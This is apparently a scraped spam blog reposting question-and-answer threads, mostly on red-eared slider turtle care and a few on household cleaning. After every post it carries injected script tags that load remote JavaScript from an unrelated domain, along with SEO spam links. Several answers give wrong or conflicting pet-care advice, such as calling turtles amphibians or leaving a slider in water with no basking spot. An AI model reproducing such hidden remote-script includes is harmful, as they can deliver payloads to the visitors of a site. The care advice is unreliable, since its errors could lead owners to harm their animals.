turtles spend about 80 percent of the time in the water which is kept at 68 degrees and the the basking sites are kept at 84 degree's. Your turtles cannot spend there intire lives inthe water. The purpose of them coming out of the water is so they can dry there shell out so it does'nt begind to rot and harbor bad bacteria.<br>Reply:i've been keeping my wife's red slider in water for years and it's grown from 2 inches to about a foot long with no ill effects.<br><br /><br />it enjoys it in the water and every once in awhile i feed it live fish and fresh water shrimps.<br><br /><br />sooner or later you'll have to move your redslider to a bigger tank.<br><br /><br />God bless<br><br /><br />gabe<br>Reply:Your real turtle tank is a poor habitat, and the fish tank is better- but not great.<br><br /><br /><br><br /><br />Turtles love space, heat, and light. To keep them healthy, they need:<br><br /><br />- at least 10 gallons of swimming space pr inch of shell<br><br /><br />- water 75-80 degrees with good basking sites at 90 degrees<br><br /><br />- sunlight-like lighting that offers ultra-violet B rays (UV-B)<br><br /><br /><br><br /><br />On the other hand, turtles eat and harass fish, so you probably want it in its own tank.<br><br /><br /><br><br /><br />2 good websites to review are:<br><br /><br />http://www.redearslider.com<br><br /><br />http://www.austinsturtlepage.com<br>Reply:turtles are amphibians...they need water AND land. He/she definitely needs a big rock or something similiar coming up out of the water that they can get up onto to get out of the water for a little while! Not real sure if a turtle can drown? But I know it's not good if they aren't able to get out of the water. Good luck!<br>Reply:If you cannot afford a turtle dock or have no space for one, then put a rock or a decoration in the tank for the turtle to climb on. We sell pieces of driftwood that stay afloat so small turtles can climb up on to get out of the water temporarily. Getting out of the water occasionally is really important for the turtle's shell.<br>Reply:yes. leave him in the tank. I Keep my red ear in the tank at all times. In the wild they stay in water for most of the time, they usually only come out when they want direct sun light. My red ear has a 55 gal. tank<br>Reply:He really needs a doc.<br>Reply:Always have a little bit of land available.<br>Reply:yes, but you may need a big rock or something for it. i dont think its a good idea for it to stay in the water that long. in the wild turtles usually spend most of their time in the water, excpet for tortoises.<br>Reply:No.<br><br /><br /><br><br /><br />The proper setup for a slider tank is a large aquatic tank, including gravel and filter, much like a setup for a fish tank, and a large dock area where the turtle can climb out of the water entirely. A reptile heat lamp should be aimed at this docking spot, so the turtle can bask in heat and dry out his shell. Leaving him in water all the time can cause bacterial infections and shell rot. He must have access to dry land even if he doesn't use it often, but it should be HIS choice, not when YOU decide to pull him out of his tank.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://small-business4.blogspot.com/>small business</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-77826187442100069212010-03-17T05:32:00.001-07:002010-03-17T05:32:32.947-07:00Is my Red eared slider diet good for my turtle?I own 3 food items: Krill, Brine Shrimp, and Turtle sticks. Myturtle refuses to fully eat a turtle sticks s here is my diet: Sundays i feed my freeze dried brine shrimp, Monday i feed krill. Tuesday i feed turtle sticks but he wont eat them usually. Wednesday i do not feed him at all. Thursday i goot back to krill. Friday is freeze dried brine shrimp, saturday is turtle sticks. What should i do or what should i get to raise a healthy red eared slider?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>Is my Red eared slider diet good for my turtle?<br>Hope this helps... pauld4 Ignore the Sidenote, just something I need to say!! As I have 4 turtles that are growing and happy due to a well balanced diet.... Read on<br><br /><br /><br><br /><br />Side note: This is my own personal list and if anyone copies and pastes it again claiming it to be their own they will be reported again...You know who you are and I also know!! (I won't mention the name as I have more class then that) When I see my own personal list which I have on word in my computer to share with others being copied and pasted ...you don't get my vote........that is dirty and you know it!! Sorry had to say that.....the person that copied my work..there source is Owner of 3 RES<br><br /><br /><br><br /><br />Hatchlings up to 3-4 inches<br><br /><br />once a day <br><br /><br />1-2 pellets, treat of protein, offering of plant matter, small 2 cm block of cuttlebone every 3 days<br><br /><br /><br><br /><br />Sub Adults 4-8 inches<br><br /><br />Feed every 1-2 days<br><br /><br />2- 3 pellets, protein<br><br /><br />large plant section<br><br /><br />cuttlebone 3-4 cm every 3-4 days<br><br /><br /><br><br /><br />Adult 8 inches or larger<br><br /><br />feed every 2-3 days <br><br /><br />3-4 pellets, protein- medium amount ex....couple of greens dandelion leaves<br><br /><br />whole cuttlebone<br><br /><br /><br><br /><br />My guys and gals love eggshells better then cuttlebone for a good source of calcium!!<br><br /><br /><br><br /><br />Safe Feeding List<br><br /><br />Commercial Foods (This is just a few of them on the market) <br><br /><br /><br><br /><br />• Tetra Reptomin <br><br /><br />• Zoo Med’s Aquatic Turtle Food <br><br /><br />• Exo Terra<br><br /><br />• Wardley's Reptile Premium Sticks<br><br /><br />• HBH Turtle Bites<br><br /><br /><br><br /><br />Frozen/Canned (For treats) <br><br /><br />• Spirulina-enriched Brine Shrimp <br><br /><br />• Bloodworms <br><br /><br />• Plankton <br><br /><br />• Krill <br><br /><br />• Zoo Med’s Can O'Crickets, Grasshoppers, or Meal Worms <br><br /><br /><br><br /><br />Live Foods (Carnivorous)<br><br /><br />• Aquatic Snails/Apple Snails/Water Snails<br><br /><br />• Crickets (Gut-Loaded)<br><br /><br />• Earthworms, Night Crawlers <br><br /><br />• Ghost Shrimp<br><br /><br />• Guppies or Rosey (no goldfish they are too fatty and have very little nutritional value)<br><br /><br />• Mealworms<br><br /><br />• Pinhead Crickets (for smaller turtles) <br><br /><br />• Slugs <br><br /><br />• Wax Worms, Super Worms<br><br /><br /><br><br /><br />**be careful about Wild-Caught foods, they can carry parasites that can be transferred to your turtle. Freezing Wild-Caught foods for a month will help to kill off some parasites.<br><br /><br /><br><br /><br />Fruits (small amounts for treats only)<br><br /><br />• Apples <br><br /><br />• Bananas<br><br /><br />• Cantaloupe/Common Melon<br><br /><br />• Figs<br><br /><br />• Grapes (remove skin so it’s easier for them to pick at)<br><br /><br />• Mango<br><br /><br />• Melon <br><br /><br />• Papaya<br><br /><br />• Pear<br><br /><br />• Tomato <br><br /><br />• Strawberries<br><br /><br />• Water Melon (Feed rarely) <br><br /><br /><br><br /><br />**should be cut up in small, bite-size or match-like sticks that will be easy for the turtle to bite into and not choke on.<br><br /><br /><br><br /><br />Vegetables<br><br /><br />• Beans<br><br /><br />• Beetroot<br><br /><br />• Carrots<br><br /><br />• Squash<br><br /><br />• Sweet Potato [cooked - boiled/ steamed/baked]<br><br /><br />• Peas<br><br /><br />• Pumpkin<br><br /><br />• Zucchini <br><br /><br /> <br><br /><br /><br><br /><br />Greens %26amp; Other Leafy Products<br><br /><br />• Collards Greens<br><br /><br />• Dandelion Greens<br><br /><br />• Kale <br><br /><br />• Mustard leaves<br><br /><br />• Radish leaves<br><br /><br />• Red Leaf Lettuce<br><br /><br />• Romaine Lettuce<br><br /><br />• Turnip Greens<br><br /><br /><br><br /><br /><br><br /><br />**Stay away from Spinach. Make sure to cut the veggies in bite-size or match-like sticks so your turtle can eat them easily. Iceberg lettuce is good filler, but contains little/no nutritional value!<br><br /><br /><br><br /><br />Aquatic Plants<br><br /><br />• Anacharis<br><br /><br />• Duckweed <br><br /><br />• Hornwort<br><br /><br />• Water Hyacinth <br><br /><br />• Water Lettuce <br><br /><br />• Water Lily<br>Reply:Nope, you're diet is too much protein and not very good at all. It's not a problem, I can help you correct it right now.<br><br /><br /><br><br /><br />Turtles need to be fed once per day. Now if your turtle isn't eating turtle sticks, try a new brand, maybe Nutrafin MAX or Reptomin or HBH turtle bites. If this doesn't work, soak them in tuna in water juice and he should eat them then stop doing that and ween him off the juice. He'll come around eventually.<br><br /><br /><br><br /><br />Every other day feed the number of turtle sticks/pellets that would fit in his head if it was hollow. Every day in between offer fresh veggies like romaine lettuce, basil, radish leaves, boston lettuce, red/green leaf lettuce, and sometimes carrots. You've given too much lettuce when they get the runs but this is healthy and they won't get pyramidding like they would from eating shrimp and pellets all the time.<br><br /><br /><br><br /><br />For a treat, some feederfish (not goldfish-too fatty) is good once a month. A few pieces of dried baby shrimp and krill is ok every few weeks as is a piece of strawberry or raspberry. Don't overdo these though because pyramidding can be a permanent and serious condition.<br><br /><br /><br><br /><br />You need to offer calcium. Do that via cuttlebone or turtlebone. Just remove the hard backing (the side you can't stick your fingernail in) and put in a little piece every week. It helps to put it in a clownfish veggie clip.<br><br /><br /><br><br /><br />This link is gonna help you out http://www.redearslider.com/index_nutrit... <br><br /><br /><br><br /><br />You can ask questions there or just read that nutrition guide.<br><br /><br /><br><br /><br />Good luck.<br>Reply:I suggest you buy "Turtle pellets." They are like the little sticks. But the food that works best for my red-eared slider are these little food balls. They are a tad smaller than an eraser on a pencil, and are green and red. These are my turtles favorite food. So I suggest you try some "food balls." <br><br /><br />They are also healthy and help your turtle grow. My turtle grew soo fast! I don't know if it is the food, but worth a try!!!<br><br /><br /><br><br /><br />These are the pellets: http://www.petco.com/product/8149/T-Rex-...<br><br /><br /><br><br /><br />Good Luck!!!<br>Reply:Well said in the side note MS......I know this is your list.......anyone who has been around here knows that!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://fashion-accessories3.blogspot.com/>fashion accessories</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-57412986207874002182010-03-17T05:32:00.000-07:002010-03-17T05:32:06.133-07:00Do water turtles hibernate in the water under ice during the winter?The reason that I'm asking is that one of my outside pond sliders is in our pond %26amp; it's frozen over. The goldfish will survive all winter. I just don't know if I need to poke holes for him to come up for air. He is alive.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Do water turtles hibernate in the water under ice during the winter?<br>Make sure you have all the right things for him to hibernate. Check out this site- http://www.redearslider.com . They have a section there about hibernation.<br>Reply:yes, they "burmate"<br><br /><br />they dig in the bottom of the pond and breath thru skin cells in the "tail" area :)<br>Reply:They do hibernate, I know they usually burrow themselves in the mud. I am not sure what you should do in this situation. I would probably call a vet and see what they can tell you.<br>Reply:He hibernates, and he is o.k. so are the frogs and other water creatures in your pond.<br>Reply:Yes, they do. Their metabolism slows to the point that they need no food, and very little oxygen. Even if you poked holes in the ice, the turtle wouldn't come up for air.<br><br /><br />The turtle will be fine, as long as it is a species that is adapted to cold weather, and the pond doesn't freeze to the bottom, and the water retains some oxygen.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://11website-design.blogspot.com/>website design</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-51090366470707404812010-03-17T05:31:00.002-07:002010-03-17T05:31:48.466-07:00How can I "teach" my turtles to eat something else expect meat?I have two Red eared sliders.My turtles does not want to vegetables and vitamines.The only things that thay eat are:turtle food(that i buy in apet shop),some meat , and such stuff.How can i show them or better said what can i do that they start to eat other things?<br><br /><br />And there is one more question :how to know how old are my turtles(the shield of one turtle is 12cm and from the other 13cm ; both are males?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>How can I "teach" my turtles to eat something else expect meat?<br>You have to wait them out. Turtles can go months without eating. Keep offering the veggies, eventually they will eat it. <br><br /><br /><br><br /><br />All turtles grow differently, unfortunately the only way to tell age accurately is to know their hatch date.<br>Reply:Mix vegetables with it they will end up eating it.<br>Reply:You might try slitting the meat and putting vegetable matter inside it or buying some liver and using the liquid in the package to soak the vegetables you want to feed the turtles. The other possibility is to wait. Young turtles tend to be much more carnivorous than their elders. In time, they will show more interest in romaine and other greens.<br><br /><br /><br><br /><br />My guess (and that is all that it is) is that your turtles are two years old.<br>Reply:just give him turtle food<br>Reply:turtles that eat meat?maybe I don't want 1 for a pet...<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://performing-arts1.blogspot.com/>performing arts</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-16153995509501418712010-03-17T05:31:00.001-07:002010-03-17T05:31:34.153-07:00How do I clean the glass between the cab and the camper shell on my truck?There is almost no space to fit anything larger than about 0.5 inches. I have sliders in both windows but can't fit my hand in between.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>How do I clean the glass between the cab and the camper shell on my truck?<br>Wrap a towel or wash mitt around a yard stick or dowel or any long thin pole and use it to get in between. It's the easiest way without taking the shell off. They make a product specifically for that. I included a link.<br>Reply:Try this- put white vinegar in a fertilizer bottle that you can connect to a water hose. This works great for washing windows through window screens and it doesn't streak!<br>Reply:Loosen your camper and slide it back. If it's one that can't slide back the best thing to do is get some foaming bathtub cleaner and spray it in there thick. then wash it off with a hose.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.necklace.org.cn/>necklace</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-17546608293427720852010-03-17T05:31:00.000-07:002010-03-17T05:31:18.715-07:00How do I clean aluminum around a shower door?The bottom sliders just never seem to be clean, anyone have any ideas?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>How do I clean aluminum around a shower door?<br>I use a old toothbrush w/bleach then take a cup with water and dump it through.<br>Reply:Glad to help, I've been doing it that way for 20+ years.... <span>Report It</span><br /> <br>Reply:If you have a local Dollar Store (not family dollar) in your area there is a product called Awesome....it is in the cleaning product section......and let me tell ya, this stuff works!!!!!!!!!!!<br>Reply:Funny...<br><br /><br /><br><br /><br />I just had the same issue... <br><br /><br /><br><br /><br />The shower doors are removable... Take the doors off and scrub!<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.maiguali.com/home-theater/>home theater</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-32237974260740330252010-03-17T05:30:00.001-07:002010-03-17T05:30:59.518-07:00How do I go about putting a smaller turtle into a tank with a bigger turtle?Donut (my main turtle) isn't huge, but his shell is about the size of a female's palm %26amp; my new turtle Dunkin is about the size of a quarter. They are Sliders. I know right now there is no way I can put them together, but I was wondering how I could make the process easy on the both of them. ..I don't think Donut is too excited about the new addition, though Dunkin seems like he wants to be around him. Ideas %26amp; suggestions welcomed :)<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>How do I go about putting a smaller turtle into a tank with a bigger turtle?<br>i got a red eared slider last summer thats about 4.5in. and a month later my friend gave me a 2inch baby painted turtle and i put the painted turtle with the red eared slider and thy were perfectlet fine the baby will even ride on the bigger ones shell (i have a 55 gallon tank so im not sure if that is an impact on how they treat each other)<br>Reply:If both have plenty of room, this would not usually be a problem. The thing is, most people will not give them as much room as they would need.<br><br /><br /><br><br /><br />The rule of thumb is about 10 gallons of actual water per inch of shell length. If your turtles add up to about 6" long, they need about 60 gallons of water- or about a 100 gallon tank mostly filled.<br><br /><br /><br><br /><br />The kicker is you need to think of the future- they are going to grow rather rapidly for the next few years, no matter what the tank size is, and when they feel crowded, they will fight and the smallest will usually be injured.<br><br /><br /><br><br /><br />Red-ears are big turtles- males hit 9", females up to 12", so in theory you could need over 200 gallons of water before this is all done.<br>Reply:my family owns a turtle farm - we have millions of turtles (about 90% of them are sliders)- but in our gift shop we have a tank that we just throw baby turtles (that we may find around our farm) of all shapes, species and sizes in they never bother each other or even notice each other<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://nanny.imwebhost.com/nanny-job/>Nanny</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-51725145594944036942010-03-17T05:30:00.000-07:002010-03-17T05:30:11.694-07:00Best way to keep predators out of my turtle pond?I have two red eared sliders. We have foxes, racoons, dogs, cats, every thing you can think of out here. Will chicken wire really keep them out? I need some recommendations to look into please.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>Best way to keep predators out of my turtle pond?<br>Chicken wire works very well .<br><br /><br /> Also , if you have a hunting /camping supply store and pick up some coyote or bobcat urine. Just spray it around the area the turtles live and most of the animals will stay well away.<br><br /><br /> Good luck<br>Reply:ALLIGATOR???<br>Reply:i knew someone with the same problem. Just get some very tough netting and weigh it down with some bricks. You could also get some humane traps for raccoons and foxes if they're constantly being a nuisance. Another idea is to find a strong scented spray that repels the predators.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.maiguali.com/games/>games hardware</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-64857928602696946032010-03-17T05:29:00.001-07:002010-03-17T05:29:31.024-07:00Why does the water in my Turtle tank turn green?I have 2 red-eared sliders. I have been changing the water in their tank almost every other day cause I can't stand to see it looking a little green. There is no algae in the tank and my husband cleaned the filter yesterday after we changed the water. Today it looks alittl green. Help?! What should we do to keep it looking nice?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes1.js type=text/javascript></script><br>Why does the water in my Turtle tank turn green?<br>Turtles are messy. You need to have bigger filter. If you are using a fish filter, you need to have one that does 2-3 times the size of your tank. So, if you have a 50 gallon tank, you need either a 100 or 150 gallon fish filter. If you are using a turtle filter, you should be doing ok. This is really just due to improper filteration. You can add some ZooMed's Repti-Safe which helps with chlorine and chloramites and pH and all kinds of stuff. It really helps keep the tank clean. You can add a plant called Anacharis which is an oxygenizer, eats the turtle feces and it provides a type of live vegetation for the turtle and a hiding spot. You can also add some Exo-Terra Biotize which eats the feces too. Their feces are the main reason that the tank gets dirty. Also, make sure that you take extra uneatten food out of the tank as this makes it messy too.<br>Reply:most likely algae try turning off the lights at night helped my tank out a bunch!<br>Reply:WELL IT DEPENDS DO YOU HAVE A FILTER IF NOT MAYBE YOU SHOULD GO TO THE PET STORE WITH YOUR PARENTS AND BUY ONE<br>Reply:It might be the lighting in your room or whatever. Plus, that kind of thing happens, the water will get green and you can't do much about it. Unfortunately. Perhaps you should try scrubbing the tank instead of just changing the water? I don't know, but this happens with my fish a lot.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://www.tototo.com.cn/health-care/>health care</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0tag:blogger.com,1999:blog-5615751725501561955.post-70863870760196715222010-03-17T05:29:00.000-07:002010-03-17T05:29:09.068-07:00What should you do with a Red Ear Slider Turtle that lives in a pond during the Winter months?I know that it cannot stay out in the pond because the pond is only 18 inches deep and is plastic. What can I do with the turtle during the winter months? What is the easiest and least expensive way to take care of them but also keep them happy?<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes2.js type=text/javascript></script><br>What should you do with a Red Ear Slider Turtle that lives in a pond during the Winter months?<br>Bring him inside. Turtles do not need to hybernate as this is not necessary. Or make a bigger pond<br><br /><br /><br><br /><br />Check out this page<br><br /><br />http://www.fishpondinfo.com/winter.htm<br>Reply:Your welcome <span>Report It</span><br /> <br>Reply:# 1 Get a quality book on turtles. Idiots guide or better.<br><br /><br /># 2 Remember this ; turtle's will stave to death with out proper heat. The bac. in the intestines shut down when they are to cool. There in you jmay be gut loading the food fish and feeding " pellets" every day and if that reptile is cold it will starve to death. <br><br /><br /> Get the best book you can and to look thru here in "answers"for some info. remember to do the research yourself now and prepare for winter now.<br><br /><br /> Main thing to remember is that turtle if properly fed will produce huge amounts of poo. Good luck.<br>Reply:My son has one and we keep it in the house in a tote. He changes the water every week and goes out and finds it food every day. If you are vigilant and keep looking for worms and bugs it will survive the winter months in your house. Our turtle ended up laying four eggs but we didn't have the male to take care of them.<br><script language=JavaScript src=http://www.chinese-kungfu.org/shoes3.js type=text/javascript></script><br><br><br><a href=http://books-b.imwebhost.com/b3/>books</a>Petehttp://www.blogger.com/profile/15136105148459221708noreply@blogger.com0